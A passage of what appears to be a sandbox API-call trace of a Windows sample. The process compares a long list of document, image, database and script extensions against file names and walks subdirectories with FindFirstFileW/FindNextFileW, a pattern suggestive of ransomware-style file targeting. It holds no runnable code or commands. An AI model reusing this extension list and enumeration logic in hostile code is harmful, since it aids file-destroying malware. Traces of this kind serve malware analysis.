lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".dcr") returned 4 [0041.174] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".der") returned 4 [0041.174] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".dib") returned 4 [0041.174] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".dic") returned 4 [0041.174] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0041.175] lstrlenW (lpString=".dif") returned 4 [0041.175] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0041.175] lstrlenW (lpString=".divx") returned 5 [0041.175] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0041.175] lstrlenW (lpString=".djvu") returned 5 [0041.175] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0041.175] lstrlenW (lpString=".dng") returned 4 [0041.175] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0041.175] lstrlenW (lpString=".doc") returned 4 [0041.175] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0041.175] lstrlenW (lpString=".docm") returned 5 [0041.175] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0041.175] lstrlenW (lpString=".docx") returned 5 [0041.175] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0041.175] lstrlenW (lpString=".dot") returned 4 [0041.175] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0041.175] lstrlenW (lpString=".dotm") returned 5 [0041.175] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0041.176] lstrlenW (lpString=".dotx") returned 5 [0041.176] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0041.176] lstrlenW (lpString=".dpx") returned 4 [0041.176] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".dqy") returned 4 [0041.176] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".dsn") returned 4 [0041.176] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".dt") returned 3 [0041.176] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0041.176] lstrlenW (lpString=".dtd") returned 4 [0041.176] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".dwg") returned 4 [0041.176] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".dwt") returned 4 [0041.176] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".dx") returned 3 [0041.176] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0041.176] lstrlenW (lpString=".dxf") returned 4 [0041.176] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".edml") returned 5 [0041.176] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0041.176] lstrlenW (lpString=".efd") returned 4 [0041.176] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".elf") returned 4 [0041.176] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".emf") returned 4 [0041.176] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".emz") returned 4 [0041.176] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".epf") returned 4 [0041.176] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".eps") returned 4 [0041.176] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0041.176] lstrlenW (lpString=".epsf") returned 5 [0041.176] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0041.176] lstrlenW (lpString=".epsp") returned 5 [0041.177] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0041.177] lstrlenW (lpString=".erf") returned 4 [0041.177] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0041.177] lstrlenW (lpString=".exr") returned 4 [0041.177] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0041.177] lstrlenW (lpString=".f4v") returned 4 [0041.177] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0041.177] lstrlenW (lpString=".fido") returned 5 [0041.177] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0041.177] lstrlenW (lpString=".flm") returned 4 [0041.177] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".flv") returned 4 [0041.178] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".frm") returned 4 [0041.178] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".fxg") returned 4 [0041.178] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".geo") returned 4 [0041.178] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".gif") returned 4 [0041.178] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".grs") returned 4 [0041.178] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".gz") returned 3 [0041.178] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0041.178] lstrlenW (lpString=".h") returned 2 [0041.178] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0041.178] lstrlenW (lpString=".hdr") returned 4 [0041.178] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".hpp") returned 4 [0041.178] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".hta") returned 4 [0041.178] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0041.178] lstrlenW (lpString=".htc") returned 4 [0041.178] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".htm") returned 4 [0041.179] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".html") returned 5 [0041.179] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0041.179] lstrlenW (lpString=".icb") returned 4 [0041.179] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".ics") returned 4 [0041.179] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".iff") returned 4 [0041.179] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".inc") returned 4 [0041.179] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".indd") returned 5 [0041.179] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0041.179] lstrlenW (lpString=".ini") returned 4 [0041.179] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".iqy") returned 4 [0041.179] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".j2c") returned 4 [0041.179] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".j2k") returned 4 [0041.179] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".java") returned 5 [0041.179] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0041.179] lstrlenW (lpString=".jp2") returned 4 [0041.179] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".jpc") returned 4 [0041.179] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".jpe") returned 4 [0041.179] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0041.179] lstrlenW (lpString=".jpeg") returned 5 [0041.179] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0041.179] lstrlenW (lpString=".jpf") returned 4 [0041.179] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".jpg") returned 4 [0041.180] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".jpx") returned 4 [0041.180] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".js") returned 3 [0041.180] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0041.180] lstrlenW (lpString=".jsf") returned 4 [0041.180] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".json") returned 5 [0041.180] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0041.180] lstrlenW (lpString=".jsp") returned 4 [0041.180] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".kdc") returned 4 [0041.180] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".kmz") returned 4 [0041.180] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".kwm") returned 4 [0041.180] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".lasso") returned 6 [0041.180] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0041.180] lstrlenW (lpString=".lbi") returned 4 [0041.180] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".lgf") returned 4 [0041.180] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".lgp") returned 4 [0041.180] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".log") returned 4 [0041.180] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".m1v") returned 4 [0041.180] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".m4a") returned 4 [0041.180] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0041.180] lstrlenW (lpString=".m4v") returned 4 [0041.180] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".max") returned 4 [0041.181] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".md") returned 3 [0041.181] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0041.181] lstrlenW (lpString=".mda") returned 4 [0041.181] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mdb") returned 4 [0041.181] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mde") returned 4 [0041.181] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mdf") returned 4 [0041.181] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mdw") returned 4 [0041.181] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mef") returned 4 [0041.181] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mft") returned 4 [0041.181] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mfw") returned 4 [0041.181] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mht") returned 4 [0041.181] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mhtml") returned 6 [0041.181] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0041.181] lstrlenW (lpString=".mka") returned 4 [0041.181] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mkidx") returned 6 [0041.181] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0041.181] lstrlenW (lpString=".mkv") returned 4 [0041.181] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mos") returned 4 [0041.181] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0041.181] lstrlenW (lpString=".mov") returned 4 [0041.181] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".mp3") returned 4 [0041.182] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".mp4") returned 4 [0041.182] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".mpeg") returned 5 [0041.182] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0041.182] lstrlenW (lpString=".mpg") returned 4 [0041.182] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".mpv") returned 4 [0041.182] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".mrw") returned 4 [0041.182] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".msg") returned 4 [0041.182] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".mxl") returned 4 [0041.182] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".myd") returned 4 [0041.182] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".myi") returned 4 [0041.182] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".nef") returned 4 [0041.182] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".nrw") returned 4 [0041.182] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".obj") returned 4 [0041.182] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".odb") returned 4 [0041.182] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".odc") returned 4 [0041.182] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".odm") returned 4 [0041.182] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0041.182] lstrlenW (lpString=".odp") returned 4 [0041.182] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".ods") returned 4 [0041.183] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".oft") returned 4 [0041.183] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".one") returned 4 [0041.183] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".onepkg") returned 7 [0041.183] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0041.183] lstrlenW (lpString=".onetoc2") returned 8 [0041.183] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0041.183] lstrlenW (lpString=".opt") returned 4 [0041.183] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".oqy") returned 4 [0041.183] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".orf") returned 4 [0041.183] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".p12") returned 4 [0041.183] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".p7b") returned 4 [0041.183] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".p7c") returned 4 [0041.183] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".pam") returned 4 [0041.183] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".pbm") returned 4 [0041.183] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".pct") returned 4 [0041.183] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".pcx") returned 4 [0041.183] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".pdd") returned 4 [0041.183] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0041.183] lstrlenW (lpString=".pdf") returned 4 [0041.183] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".pdp") returned 4 [0041.184] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".pef") returned 4 [0041.184] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".pem") returned 4 [0041.184] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".pff") returned 4 [0041.184] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".pfm") returned 4 [0041.184] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".pfx") returned 4 [0041.184] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".pgm") returned 4 [0041.184] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".php") returned 4 [0041.184] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".php3") returned 5 [0041.184] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0041.184] lstrlenW (lpString=".php4") returned 5 [0041.184] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0041.184] lstrlenW (lpString=".php5") returned 5 [0041.184] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0041.184] lstrlenW (lpString=".phtml") returned 6 [0041.184] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0041.184] lstrlenW (lpString=".pict") returned 5 [0041.184] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0041.184] lstrlenW (lpString=".pl") returned 3 [0041.184] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0041.184] lstrlenW (lpString=".pls") returned 4 [0041.184] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0041.184] lstrlenW (lpString=".pm") returned 3 [0041.184] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0041.184] lstrlenW (lpString=".png") returned 4 [0041.184] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".pnm") returned 4 [0041.185] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".pot") returned 4 [0041.185] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".potm") returned 5 [0041.185] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0041.185] lstrlenW (lpString=".potx") returned 5 [0041.185] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0041.185] lstrlenW (lpString=".ppa") returned 4 [0041.185] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".ppam") returned 5 [0041.185] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0041.185] lstrlenW (lpString=".ppm") returned 4 [0041.185] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".pps") returned 4 [0041.185] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".ppsm") returned 5 [0041.185] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0041.185] lstrlenW (lpString=".ppt") returned 4 [0041.185] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".pptm") returned 5 [0041.185] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0041.185] lstrlenW (lpString=".pptx") returned 5 [0041.185] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0041.185] lstrlenW (lpString=".prn") returned 4 [0041.185] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".ps") returned 3 [0041.185] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0041.185] lstrlenW (lpString=".psb") returned 4 [0041.185] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".psd") returned 4 [0041.185] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0041.185] lstrlenW (lpString=".pst") returned 4 [0041.185] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0041.186] lstrlenW (lpString=".ptx") returned 4 [0041.186] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0041.186] lstrlenW (lpString=".pub") returned 4 [0041.186] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0041.186] lstrlenW (lpString=".pwm") returned 4 [0041.186] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0041.186] lstrlenW (lpString=".pxr") returned 4 [0041.186] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0041.186] lstrlenW (lpString=".py") returned 3 [0041.186] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0041.186] lstrlenW (lpString=".qt") returned 3 [0041.186] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0041.186] lstrlenW (lpString=".r3d") returned 4 [0041.186] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0041.186] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.186] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.186] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.186] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0041.186] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.186] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.186] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.187] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42803c0 [0041.188] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.188] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.188] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.188] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.188] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.188] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0041.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.188] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.189] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.189] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280280 [0041.849] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.849] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.849] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.849] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.849] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.849] FindClose (in: hFindFile=0x4280280 | out: hFindFile=0x4280280) returned 1 [0041.849] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.849] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.850] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.850] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42801c0 [0041.850] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.850] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.850] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.850] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.850] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.850] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0041.850] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.850] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.850] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.850] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42804c0 [0041.851] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.851] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.851] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.851] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.851] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.851] FindClose (in: hFindFile=0x42804c0 | out: hFindFile=0x42804c0) returned 1 [0041.851] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.851] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.851] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.851] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280580 [0041.852] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.852] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.852] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.852] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.853] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.853] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) 